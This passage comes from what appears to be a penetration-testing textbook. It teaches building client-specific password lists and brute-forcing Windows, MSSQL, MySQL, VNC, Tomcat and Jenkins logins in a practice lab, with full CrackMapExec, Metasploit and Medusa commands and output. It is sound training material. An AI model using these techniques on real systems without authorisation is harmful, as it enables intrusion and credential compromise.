there is a Listing 4.2 Using Metasploit to scan Windows hosts for MS17-010 Running the MS17-010 scanner module shows that the host is Windows 7 and is likely vulnerable to the attack. 65 Discovering authentication vulnerabilities relatively low likelihood of the results being a false positive. During focused penetration, the next phase in our INPT, we can try the MS17-010 exploit module, which, if successful, will provide us with a reverse shell command prompt on this system. 4.3 Discovering authentication vulnerabilities An authentication vulnerability is any occurrence of a default, blank, or easily guessable password. The easiest way to detect authentication vulnerabilities is to perform a brute- force password-guessing attack. Every INPT you conduct will most certainly require you to perform some level of password-guessing attacks. For the sake of completeness and making sure we’re on the same page, figure 4.3 shows a brief diagram demonstrating the process of password guessing from a network attackers’ perspective. Exercise 4.1: Identifying missing patches Using the information from your all-ports.csv file, search exploit-db.com for all of the unique software versions present in your environment. If you have Windows systems in your target list, make sure to also run the MS17-010 auxiliary scan module. Record any missing patches that you identify as a patching vulnerability in your engagement notes. Figure 4.3 Brute-force password guessing Brute-force password guesser “Password” “Password1” “Password!” “Password2019” “Password2019!” “Password!” A. A password guesser such as Medusa, THC-Hydra, or Metasploit is used to make authentication attempts at a target network service. B. The network service responds normally to each authentication attempt as it would respond to a user trying to log in manually with their username and password. C. Each response is analyzed by the password guesser to determine if a valid set of credentials was provided. Target network service Success: valid login reponse Error: invalid login response Password list 66 CHAPTER 4 Discovering network vulnerabilities 4.3.1 Creating a client-specific password list To perform any brute-force password guessing, you’ll need a password list. The inter- net is full of interesting password lists that can and do work on many engagements. That said, we want to be smart and skillful attackers, so let’s create a tailored password list that is specific to our target organization, Capsulecorp. Listing 4.3 shows the kind of LHF password list that I typically create for every engagement I conduct by using the word password and the name of the client com- pany. I will explain my method for choosing these passwords in case the list seems totally random at first glance. This method preys on the shared psychology of most users who need to enter a password to complete their daily job functions and are required to meet some sort of predetermined minimum standard of password com- plexity. Such users usually aren’t security professionals and therefore don’t necessarily think about using a strong password. In most cases, users do the bare minimum that’s required. For example, on a Microsoft Windows computer with Complex Passwords enabled, a user’s password must have a minimum of eight characters and contain at least one uppercase character and a numeric character. This means the string “Password1” is a secure/complex password, according to Microsoft Windows. (By the way, I’m not picking on Microsoft. I’m just illustrating that when users are required to set a password, doing so is generally considered to be a nuisance—so it’s common to find users choosing the weakest, easiest-to-remember password they can think of that meets the minimum complexity requirements.) ~$ vim passwords.txt 1 2 admin 3 root 4 guest 5 sa 6 changeme 7 password 8 password1 9 password! Listing 4.3 A simple yet effective client-specific password list What is a strong password? A strong password is one that is difficult to guess programmatically. What that means changes as CPU/GPU password-cracking technology improves in its capabili- ties and scalability. A 24-character password consisting of randomly generated uppercase letters, lowercase letters, numbers, and symbols is next to impossible to guess and should remain that way for quite some time. But that statement was once true for eight-character passwords, and they are now pretty trivial to break regardless of complexity. 12 permutations of the word “password” 67 Discovering authentication vulnerabilities 10 password1! 11 password2019 12 password2019! 13 Password 14 Password1 15 Password! 16 Password1! 17 Password2019 18 Password2019! 19 capsulecorp 20 capsulecorp1 21 capsulecorp! 22 capsulecorp1! 23 capsulecorp2019 24 capsulecorp2019! 25 Capsulecorp 26 Capsulecorp1 27 Capsulecorp! 28 Capsulecorp1! 29 Capsulecorp2019 30 Capsulecorp2019! ~ NORMAL > ./passwords.txt > < text < 3% < 1:1 Here’s how the passwords in this list were chosen. We start with two base words: pass- word and capsulecorp (the name of the company we are doing a pentest against). This is because when asked to choose a password on the spot, a “normal” user who isn’t con- cerned about security will probably be in a hurry to move on, and one of these two words is likely to be the first word that comes to mind. We then create two permutations of each word: one with all characters lowercase and one with the first character uppercase. Next, create six variations of each permu- tation: one by itself, one ending in the number 1, one ending in an exclamation mark (!), one ending in 1!, one ending in the current year, and one ending in the current year followed by an exclamation mark. We do this for all four permutations to create a total of 24 passwords. The remain- ing six passwords in the list—<blank>, admin, root, guest, sa, and changeme—are com- monly used passwords, so they make their way onto the roster as well. This list is intended to be short and therefore fast. Of course, you could increase your chances by adding additional passwords to the list. If you do, I recommend sticking with the same formula: find your base word and then create 12 permutations of it. Keep in mind, though, that the more passwords you add, the longer it will take you to conduct brute- force guessing against the entire target list. 12 permutations of the word “password” 12 permutations of the word “capsulecorp” Exercise 4.2: Creating a client-specific password list Follow the steps outlined in this section to create a password list specific to your test- ing environment. If you are using the Capsulecorp Pentest environment, the password list from listing 4.3 will do fine. Store this list in your vulnerabilities directory, and name it something like password-list.txt. 68 CHAPTER 4 Discovering network vulnerabilities 4.3.2 Brute-forcing local Windows account passwords Let’s move on with this engagement and see if we can discover some vulnerable hosts. Pentesters typically start with Windows hosts because they tend to bear more fruit if compromised. Most companies rely on Microsoft Active Directory to manage authen- tication for all users, so owning the entire domain is usually a high priority for an attacker. Due to the vast landscape of Windows-based attack vectors, once you get onto a single Windows system that’s joined to a domain, it’s usually possible to escalate all the way up to Domain Admin from there. Brute-force password guessing against Active Directory accounts is possible, but it requires some knowledge about the account lockout policy. Because of the increased risk of locking out a bunch of users and causing an outage for your client, most pen- testers opt to focus on local administrator accounts, which are often configured to ignore failed logins and never generate an account lockout. That’s what we’re going to do. Here’s how to use CME along with our password list to target the UID 500 local administrator account on all the Windows systems we identified during host discovery. Run the cme command with the following options to iterate through your list of pass- word guesses against the local administrator account on all Windows hosts in your windows.txt targets file: cme smb discovery/hosts/windows.txt --local-auth -u Administrator ➥ -p passwords.txt Optionally, you can pipe the cme command to grep -v '[-]' for less verbose output that is easier to sort through visually. Here is an example of what that looks like. CME 10.0.10.200:445 GOKU [*] Windows 10.0 Build 17763 (name:GOKU) (domain:CAPSULECORP) CME 10.0.10.201:445 GOHAN [*] Windows 10.0 Build 14393 (name:GOHAN) (domain:CAPSULECORP) CME 10.0.10.206:445 YAMCHA [*] Windows 10.0 Build 17763 (name:YAMCHA) (domain:CAPSULECORP) CME 10.0.10.202:445 VEGETA [*] Windows 6.3 Build 9600 (name:VEGETA) Listing 4.4 Using CME to guess local account passwords More about account lockouts It’s important to be conscious of the account lockout threshold when guessing pass- words against Microsoft Active Directory user accounts. The local administrator account (UID 500) is typically safe to guess against because the default behavior for this account avoids being locked out due to multiple failed login attempts. This fea- ture helps protect IT/system administrators from accidentally locking themselves out of a Windows machine. 69 Discovering authentication vulnerabilities (domain:CAPSULECORP) CME 10.0.10.207:445 RADITZ [*] Windows 10.0 Build 14393 (name:RADITZ) (domain:CAPSULECORP) CME 10.0.10.203:445 TRUNKS [*] Windows 6.3 Build 9600 (name:TRUNKS) (domain:CAPSULECORP) CME 10.0.10.208:445 TIEN [*] Windows 6.1 Build 7601 (name:TIEN) (domain:CAPSULECORP) CME 10.0.10.205:445 KRILLIN [*] Windows 10.0 Build 17763 (name:KRILLIN) (domain:CAPSULECORP) CME 10.0.10.202:445 VEGETA [+] VEGETA\Administrator:Password1! (Pwn3d!) CME 10.0.10.201:445 GOHAN [+] GOHAN\Administrator:capsulecorp2019! (Pwn3d!) #A This output is pretty self-explanatory. CME was able to determine that two of our Win- dows targets are using a password in the password list that we created. This means we can log in to those two systems with administrator-level privileges and do whatever we want. If we were real attackers, this would be very bad for our client. Let’s make a note of these two vulnerable systems and continue with our password guessing and vulnera- bility discovery. TIP Taking detailed notes is important, and I recommend using a program you are comfortable with. I’ve seen people use something as simple as an ASCII text editor, all the way to installing an entire wiki on their local pentest system. I like to use Evernote. You should choose whatever works best for you—but choose something, and take thorough notes throughout your engagement. 4.3.3 Brute-forcing MSSQL and MySQL database passwords Next on the list are database servers. Specifically, during service discovery, we found instances of Microsoft SQL Server (MSSQL) and MySQL. For both of these protocols, we can use Metasploit to perform brute-force password guessing. Let’s begin with CME issues the text string “Pwn3d!” to let us know the credentials have administrator privileges on the target machine. Does password guessing generate logs? Absolutely yes, it does. I am often surprised at how many companies ignore the logs or configure them to auto-purge on a daily or weekly basis to save disk storage space. The more involved with pentesting you become, the more people you will see who blur the lines between vulnerability assessments, pentests, and red team engagements. It’s wise to concern yourself with whether your activity is showing up in a log when conducting a full-scale red team engagement. A typical INPT, however, is far from a red team engagement and does not involve a stealth component where the goal is to remain undetected as long as possible. If you’re working on an INPT, you shouldn’t be concerned with generating log entries. 70 CHAPTER 4 Discovering network vulnerabilities MSSQL. Fire up the Metasploit msfconsole, type use auxiliary/scanner/mssql/ mssql_login, and press Enter. This will place you in the MSSQL login module, where you need to set the username, pass_file, and rhosts variables. In a typical MSSQL database setup, the username for the administrator account is sa (SQL Administrator), so we’ll stick with that. That should already be the default value. If it isn’t, you can set it with set username sa. Also set the rhosts variable to the file that contains the MSSQL targets you enumerated during service discovery: set rhosts file:/path/to/your/mssql.txt file. Finally, set the pass_file variable to be the path of the password list you created; in my case, I’ll type set pass_file /home/royce/capsulecorp/passwords.txt. Now you can run the module by typing run. msf5 > use auxiliary/scanner/mssql/mssql_login msf5 auxiliary(scanner/mssql/mssql_login) > set username sa username => sa msf5 auxiliary(scanner/mssql/mssql_login) > set pass_file /home/royce/capsulecorp/passwords.txt pass_file => /home/royce/capsulecorp/passwords.txt msf5 auxiliary(scanner/mssql/mssql_login) > set rhosts file:/home/royce/capsulecorp/discovery/hosts/mssql.txt rhosts => file:/home/royce/capsulecorp/discovery/hosts/mssql.txt msf5 auxiliary(scanner/mssql/mssql_login) > run [*] 10.0.10.201:1433 - 10.0.10.201:1433 - MSSQL - Starting authentication scanner. [-] 10.0.10.201:1433 - 10.0.10.201:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: ) [-] 10.0.10.201:1433 - 10.0.10.201:1433 - LOGIN FAILED: WORKSTATION\sa:root (Incorrect: ) [-] 10.0.10.201:1433 - 10.0.10.201:1433 - LOGIN FAILED: WORKSTATION\sa:password (Incorrect: ) [+] 10.0.10.201:1433 - 10.0.10.201:1433 - Login Successful: WORKSTATION\sa:Password1 [*] 10.0.10.201:1433 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/mssql/mssql_login) > Another successful login! If this MSSQL server is configured to allow the xp_cmdshell stored procedure, we can use this vulnerability to execute operating system com- mands on this target remotely. As an added bonus, if the stored procedure is disabled (as it is by default in most modern MSSQL instances), we can enable it because we have the sa account, which has full administrator privileges on the database. As with the last authentication vulnerability we found, make a note of this one for now, and we’ll move on. Remember our Hollywood movie heist scenario: the crew can’t just go waltzing into the first unlocked door they find without a plan of attack. We need Listing 4.5 Using Metasploit to guess MSSQL passwords A successful login with the username “sa” and the password “Password1” 71 Discovering authentication vulnerabilities to do the same thing. For now, we’re simply identifying attack vectors. Resist the urge to penetrate further into systems during this component of your engagement. We’ll also use Metasploit to test the MySQL servers we found for weak passwords. This will look very similar to what you did with the MSSQL module. Start by switching to the MySQL module by typing use auxiliary/scanner/mysql/mysql_login. Then set the rhosts and pass_file variables as you did before. Be careful to select the correct rhosts file. For this module, we don’t need to worry about changing the username because the default MySQL user account root is already populated for us, so we can just type run to launch the module. msf5 > use auxiliary/scanner/mysql/mysql_login msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts file:/home/royce/capsulecorp/discovery/hosts/mysql.txt rhosts => file:/home/royce/capsulecorp/discovery/hosts/mysql.txt msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /home/royce/capsulecorp/passwords.txt pass_file => /home/royce/capsulecorp/passwords.txt msf5 auxiliary(scanner/mysql/mysql_login) > run [-] 10.0.10.203:3306 - 10.0.10.203:3306 - Unsupported target version of MySQL detected. Skipping. [*] 10.0.10.203:3306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/mysql/mysql_login) > Listing 4.6 Using Metasploit to guess MySQL passwords What is a stored procedure? Think of stored procedures as additional functions you can call from within an MSSQL database server. The xp_cmdshell stored procedure is used to spawn a Windows command shell and pass in a string parameter that is to be executed as an operating system command. Check out the Microsoft Docs write-up at http://mng.bz/pzx5 for more information about xp_cmdshell. Why not just penetrate the MSSQL host now? Early in my career, I failed to follow the advice to wait. As soon as I found a weak password or a missing patch, I went straight to penetrating that target. Sometimes I got lucky and it led to network-wide compromise. Other times I spent hours or even days chasing down a dead end, only to go back to the drawing board and find a new vulnerable host that led me straight to my end-game objective. Because of this I learned to spend a lot of time during vulnerability discovery. Only after you’ve identi- fied every possible attack path can you make an educated decision about which strings to tug on and in which order. Potentially misleading error message. Use Medusa to verify. 72 CHAPTER 4 Discovering network vulnerabilities The error message “Unsupported target version of MySQL detected” is potentially misleading. It may mean the target MySQL server is running a version that’s incom- patible with Metasploit and therefore password guessing is not a viable avenue. How- ever, I have seen this message enough times to know that it may mean something else. The target MySQL server may be configured to allow only local logins, so only an application or user already logged on to the system can access the MySQL server tar- geting the local loopback IP address of 127.0.0.1. We can use Medusa to verify this. You should already have installed medusa on your system; if it’s not there, install it by typing sudo apt install medusa -y. Now run the following command: medusa -M mysql -H discovery/hosts/mysql.txt -u root -P passwords.txt ~$ medusa -M mysql -H discovery/hosts/mysql.txt -u root -P passwords.txt Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ERROR: mysql.mod: Failed to retrieve server version: Host '10.0.10.160' is not allowed to connect to this MariaDB server ERROR: [mysql.mod] Failed to initialize MySQL connection (10.0.10.203). It looks like our suspicion has been confirmed. We can see from the error message “Host ‘10.0.10.160’ is not allowed to connect” that the MySQL server is not allowing connections from our IP address. We will have to find another avenue of attack to penetrate this target. TIP The presence of MySQL on a server suggests a high probability that a database-driven web application also resides on that system. If you run into this type of behavior, make a note of it and return to the system when you begin targeting web services for vulnerability discovery. 4.3.4 Brute-forcing VNC passwords VNC is a popular remote management solution despite the fact that most VNC prod- ucts lack encryption and don’t integrate with centralized authentication systems. It’s very common to see them on a network pentest; they are rarely configured with an account lockout and thus are ideal targets for brute-force password guessing. Here is how to use the Metasploit vnc_login auxiliary module to launch an attack against a list of hosts running VNC. Just as with the previous modules demonstrated in this chapter, load the vnc_login module by typing use auxiliary/scanner/vnc/vnc_login. Then use the set rhosts command to point to your vnc.txt file, which should be in your discovery/hosts folder. Set pass_file to your passwords.txt file, and type run to run the module. You’ll notice Listing 4.7 Using Medusa to guess MySQL passwords Confirmation that the host is not accepting logins from our IP address 73 Discovering authentication vulnerabilities from the module’s output in the next listing that one of the target VNC servers has a weak password: admin. msf5 > use auxiliary/scanner/vnc/vnc_login msf5 auxiliary(scanner/vnc/vnc_login) > set rhosts file:/home/royce/capsulecorp/discovery/hosts/vnc.txt rhosts => file:/home/royce/capsulecorp/discovery/hosts/vnc.txt msf5 auxiliary(scanner/vnc/vnc_login) > set pass_file /home/royce/capsulecorp/passwords.txt pass_file => /home/royce/capsulecorp/passwords.txt msf5 auxiliary(scanner/vnc/vnc_login) > run [*] 10.0.10.205:5900 - 10.0.10.205:5900 - Starting VNC login [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :admin (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :root (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :password (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Password1 (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Password2 (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Password3 (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Password1! (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Password2! (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Password3! (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :capsulecorp (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Capsulecorp1 (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Capsulecorp2 (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Capsulecorp3 (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Capsulecorp1! (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Capsulecorp2! (Incorrect: No supported authentication method found.) [-] 10.0.10.205:5900 - 10.0.10.205:5900 - LOGIN FAILED: :Capsulecorp3! (Incorrect: No supported authentication method found.) [*] Scanned 1 of 2 hosts (50% complete) [*] 10.0.10.206:5900 - 10.0.10.206:5900 - Starting VNC login [+] 10.0.10.206:5900 - 10.0.10.206:5900 - Login Successful: :admin [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :root (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :password (Incorrect: No authentication types available: Your connection has been Listing 4.8 Using Metasploit to guess VNC passwords A successful login with the password “admin” 74 CHAPTER 4 Discovering network vulnerabilities rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Password1 (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Password2 (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Password3 (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Password1! (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Password2! (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Password3! (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :capsulecorp (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Capsulecorp1 (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Capsulecorp2 (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Capsulecorp3 (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Capsulecorp1! (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Capsulecorp2! (Incorrect: No authentication types available: Your connection has been rejected.) [-] 10.0.10.206:5900 - 10.0.10.206:5900 - LOGIN FAILED: :Capsulecorp3! (Incorrect: No authentication types available: Your connection has been rejected.) [*] Scanned 2 of 2 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/vnc/vnc_login) > Exercise 4.3: Discovering weak passwords Use your preferred password-guessing tool (CrackMapExec, Medusa, and Metasploit are three examples introduced in this chapter) to identify weak passwords in your engagement scope. The protocol-specific lists can be used to organize your testing and help you use the right tool to check all the web servers, then all the database servers, then the Windows servers, and so on for all the network services that present authentication. Record any set of credentials you uncover in your engagement notes as an authentication vulnerability, along with the IP address and network service. 75 Discovering configuration vulnerabilities 4.4 Discovering configuration vulnerabilities A network service has a configuration vulnerability when one of the service’s configura- tion settings enables an attack vector. My favorite example is the Apache Tomcat web server. Often, it is configured to allow the deployment of arbitrary web application archive (WAR) files via the web GUI. This allows an attacker who gains access to the web console to deploy a malicious WAR file and gain remote access to the host operat- ing system, usually with administrator-level privileges on the target. Web servers in general are usually a great path to code execution on an INPT. The reason is that large engagements often involve hundreds or even thousands of HTTP servers with all sorts of various web applications running on them. Many times, when an IT/systems administrator installs something, it comes with a web interface listening on an arbitrary port, and the admin doesn’t even know it’s there. The web service ships with a default password, and the IT/systems administrator may forget to change it—or not even know they need to do so. This presents a golden opportunity for an attacker to gain remote entry into restricted systems. The first thing you’ll want to do is see what’s within your scope. You’re welcome to open a web browser and start typing in IP_ADDRESS:PORT_NUMBER for every service you discovered, but that can take a lot of time, especially on a decent size network with a few thousand hosts. Instead, for this purpose, I have created a handy little Ruby tool called Webshot that takes the XML output from an nmap scan as input and produces a screenshot of every HTTP server it finds. After it’s finished, you are left with a folder containing viewable thumbnail screenshots; you can quickly sort through this sea of web servers and easily drill down to targets you recognize to have known attack vectors. 4.4.1 Setting up Webshot Webshot is open source and available for free on GitHub. Run the following six com- mands sequentially to download and install Webshot on your system: 1 Check out the source code from my GitHub page: ~$ git clone https://github.com/R3dy/webshot.git 2 Change into the webshot directory: ~$ cd webshot 3 Run both of these commands to install all the necessary Ruby gems: ~$ bundle install ~$ gem install thread 76 CHAPTER 4 Discovering network vulnerabilities 4 You need to download a legacy .deb (Debian) package from Ubuntu for lib- png12 (which no longer ships with Ubuntu) because Webshot uses the wkhtml- toimage binary package, which is no longer maintained: ~$ wget http://security.ubuntu.com/ubuntu/pool/main/libp/libpng/ ➥ libpng12-0_1.2.54-1ubuntu1.1_amd64.deb 5 Install this package using the dpkg command: ~$ sudo dpkg -i libpng12-0_1.2.54-1ubuntu1.1_amd64.deb Now you are set and ready to use Webshot. Take a look at the Help menu to familiarize yourself with the proper usage syntax. You really only need to give it two options: -t, which points to your target XML file from nmap; and -o, which points to the directory where you want Webshot to output the screenshots it takes. You can see the Help file by running the script with the -h flag, as shown in the next listing. ~$ ./webshot.rb -h Webshot.rb VERSION: 1.1 - UPDATED: 7/16/2019 References: https://github.com/R3dy/webshot Usage: ./webshot.rb [options] [target list] -t, --targets [nmap XML File] XML Output From nmap Scan -c, --css [CSS File] File containing css to apply… -u, --url [Single URL] Single URL to take a screens… -U, --url-file [URL File] Text file containing URLs -o, --output [Output Directory] Path to file where screens… -T, --threads [Thread Count] Integer value between 1-20… -v, --verbose Enables verbose output Let’s see what it looks like when Webshot is run against my target list that was generated by nmap during service discovery. In this case, the command is run from the capsulecorp directory, so I have to type out the full path to Webshot relative to my home directory: ~/git/webshot/webshot.rb -t discovery/services/web.xml -o documentation/ screenshots. Here is the output—you can see screenshots appear in real time if you’re watching the output directory: Listing 4.9 Webshot usage and help menu Can’t find the .deb package? It’s possible that the URL used for wget will change. It isn’t likely, because Ubuntu is based on Debian, which has been running smoothly and maintaining package repositories since 1993. That said, if for some reason the wget command errors out on you, you should be able to find the current download link at http://mng.bz/OvmK. This command displays the usage and help menu. 77 Discovering configuration vulnerabilities ~$ ~/git/webshot/webshot.rb -t discovery/services/web.xml ➥ -o documentation/screenshots Extracting URLs from nmap scan Configuring IMGKit options Capturing 18 screenshots using 10 threads 4.4.2 Analyzing output from Webshot Open a file browser and navigate to the screenshots directory, and you can see a thumbnail image for every website that Webshot took a screenshot of (figure 4.4). This is useful because it provides a quick picture of what’s in use on this network. To a skilled attacker, this directory contains a wealth of information. For example, we now know that a default Microsoft IIS 10 server is running. An Apache Tomcat server is running on the same IP address as an XAMPP server. There is also a Jenkins server, as well as what appears to be an HP printer page. Equally as important, we can see that 12 of these pages are returning an error or a blank page. Either way, they are letting us know that we don’t need to concentrate on them. As an attacker, you should be particularly interested in the Apache Tomcat and Jenkins servers because they both contain remote code execution vectors if you can guess or otherwise obtain the admin password. Jenkins Apache Tomcat Microsoft IIS 10 Figure 4.4 Browsing web server screenshot thumbnails taken by Webshot 78 CHAPTER 4 Discovering network vulnerabilities 4.4.3 Manually guessing web server passwords Your mileage will most certainly vary—possibly quite drastically from what I have shown here. This is because different companies use an endless number of web appli- cations to manage various parts of their business. On almost every engagement, I find something I’ve never heard of before. However, anything you see that has a login prompt should be worth testing with at least three or four commonly used default passwords. You would not believe how many times admin/admin has gotten me into a production web application that was later used for remote code execution. If you Google “Apache Tomcat default password,” you’ll see that admin/tomcat is the default set of credentials for this application (figure 4.5). It doesn’t take a lot of time to manually test four or five passwords on a couple of different web servers, so I’ll quickly do that now, beginning with the Apache Tomcat server on 10.0.10.203:8080. Apache Tomcat uses HTTP Basic Authentication, which prompts for a username and password if you navigate to the /manager/html directory or click the Manager App Jenkins, Tomcat, XAMPP—what do they mean? Early in your career as a pentester, you will discover all sorts of applications you’ve never seen before running on client networks. This still happens to me regularly because software vendors come out with new applications almost daily. When this happens, you should spend some time Googling the application to see whether someone has already written up an attack scenario. Something like “Attacking XYZ” or “Hacking XYZ” is a great place to start. For example, if you type “Hacking Jenkins Servers” into Google, you’ll come across one of my old blog posts that explains step-by-step how to turn Jenkins server access into remote code execution: http://mng.bz/YxVo. HTTP basic authentication prompt Figure 4.5 Manually guessing the admin password on Apache Tomcat 79 Discovering configuration vulnerabilities button from the main page. In this server’s case, admin/tomcat did not work. However, admin/admin did (figure 4.6), so I can add this server to my list of vulnerable attack vectors in my notes and move on. The next server I’m interested in targeting is the Jenkins server running on 10.0.10.202:8080. Manually trying a few different passwords reveals that the Jenkins server credentials are admin/password (figure 4.7). It’s possible, perhaps even likely, that your target network doesn’t have any Jenkins or Tomcat servers, and that’s fine. I’m only using these specific applications to illustrate the concept of identifying web applications in your environment and trying a few default credentials on all of them. I chose them for this book because they are commonly used and often configured with default credentials. If you do enough engagements, you will Logged in to the Tomcat Web Application Manager Figure 4.6 Logged in to the Apache Tomcat application manager Logged in to the Jenkins web console Figure 4.7 Logged in to the Jenkins admin portal 80 CHAPTER 4 Discovering network vulnerabilities probably see them. That said, you should feel comfortable testing default credentials on any web application, even one you’ve never seen before. TIP You should always, always, always try one or two sets of default creden- tials (mainly admin/admin and admin/password) on every authentication prompt you uncover during a pentest. You will be amazed how often this gets you into a system. No matter what the application is, somebody has presumably set it up on their net- work before and then forgotten how to log in. They, of course, went to a web forum or Yahoo user group or Stack Overflow and asked the support community a question about that software, and somebody responded, telling them to try the default creden- tials. You’ll also find PDF manuals that go through the setup and installation instruc- tions, if you Google hard enough. These are great places to find default credentials and maybe even possible attack vectors: for instance, whether the software contains a place for administrators to upload arbitrary files or execute code snippets. 4.4.4 Preparing for focused penetration Now that our Hollywood movie heist crew has finished mapping out their target, iden- tifying all the entry points, and determining which ones are susceptible to attack, it’s time to plan how they’re going to proceed. In the movies, the crew often comes up with the most over-the-top, outlandish scheme possible. This makes for a more enter- taining movie, but it isn’t what we’re going to do. In our case, there is no one to entertain, and there are no dancing laser beams to dodge or attack dogs to bribe with deli meats. We simply need to worry about maxi- mizing our chance of success by following the path of least resistance and targeting the identified vulnerabilities with controlled attack vectors. Most important, we can’t break anything. In the next chapter, we’ll use the vulnerabilities we’ve discovered to safely penetrate into the affected hosts, gaining an initial foothold in the Capsulecorp network. Why not use an automated tool? Web servers often rely on form-based authentication, which means brute-forcing the login page is a bit trickier. It’s completely doable, but you have to spend a little time reversing the login page so you know what information has to be sent in the HTTP POST request. You also need to know what a valid response looks like, versus an invalid response; then you can write your own script to do the brute-forcing. I have a repository on GitHub called ciscobruter (Ciscobruter source code: https:// github.com/r3dy/ciscobruter), which you can look at for reference. You can also use an interception proxy such as Burp Suite to capture an authentication request and replay it to the web server, changing the password each time. Both of these solutions are slightly more advanced than what we cover in this book. 81 Summary Summary  Follow the path of least resistance by first checking for LHF vulnerabilities and attack vectors. A pentest is scope- and time-limited, so speed counts.  Create a simple password list tailored to the company for which you are per- forming an engagement.  Be aware of account lockouts, and step lightly. If possible, only test credentials against local user accounts on Windows networks.  Web servers are often configured with default credentials. Use Webshot to take bulk screenshots of all the web servers in your target environment so you can quickly spot interesting targets.  Every time you find a new service you’ve never seen, head to Google and learn about it. Before you know it, you’ll be able to pick out easy attack vectors from a crowd of application services. Phase 2 Focused penetration Now that you’ve identified your target network’s attack surface, it’s time to begin compromising vulnerable hosts. This part of the book starts with chapter 5, which walks you through various methods of compromising vulnerable web appli- cations such as Jenkins and Apache Tomcat. You’ll learn how to deploy custom- built backdoor web shells and upgrade them to fully interactive reverse command shell access to compromised targets. Chapter 6 introduces you to the process of attacking an unsecured database server. In this chapter, you’ll also learn about Windows account password hashes, why they are useful to you as an attacker, and how to obtain them from a com- promised system. Finally, this chapter covers some interesting methods for retrieving loot from compromised Windows hosts, which can be particularly use- ful when you’re limited to a non-interactive shell. In chapter 7, you get your first taste of the coveted exploitation process and achieve push-button remote access to a vulnerable server that’s missing a Micro- soft Security Update. It doesn’t get much easier than this in terms of penetrating network systems and gaining access to otherwise restricted targets. At the end of this part of the book, you will have a strong foothold in your tar- get network environment. You will have successfully compromised multiple level-one systems and will be ready to begin the next phase of your engagement: privilege escalation. 85 Attacking vulnerable web services The first phase of an internal network penetration test (INPT) was all about gather- ing as much information as possible about the target environment. You began by discovering live hosts and then enumerated which network services those hosts were offering. Finally, you discovered vulnerable attack vectors in the authentica- tion, configuration, and patching of those network services. Phase 2 is all about compromising vulnerable hosts. You may recall that in chap- ter 1, we referred to the initial systems we gain access to as level-one hosts. Level-one hosts are targets that have a direct access vulnerability that we can take advantage of This chapter covers  Phase 2: focused penetration  Deploying a malicious web application archive file  Using Sticky Keys as a backdoor  Differences between interactive and non- interactive shells  Operating system command execution with Groovy script 86 CHAPTER 5 Attacking vulnerable web services in a way that gives us some form of remote control over the target. This could be a reverse shell, a non-interactive command prompt, or even just logging directly into a typical remote management interface (RMI) service, such as remote desktop (RDP) or secure shell (SSH). Regardless of the method of remote control, the motivation and key focus throughout this entire phase of an INPT is to gain an initial foothold in our target environment and access as many restricted areas of the network as we can. Figure 5.1 shows a graphical representation of the focused-penetration phase. The inputs to this phase are the list of 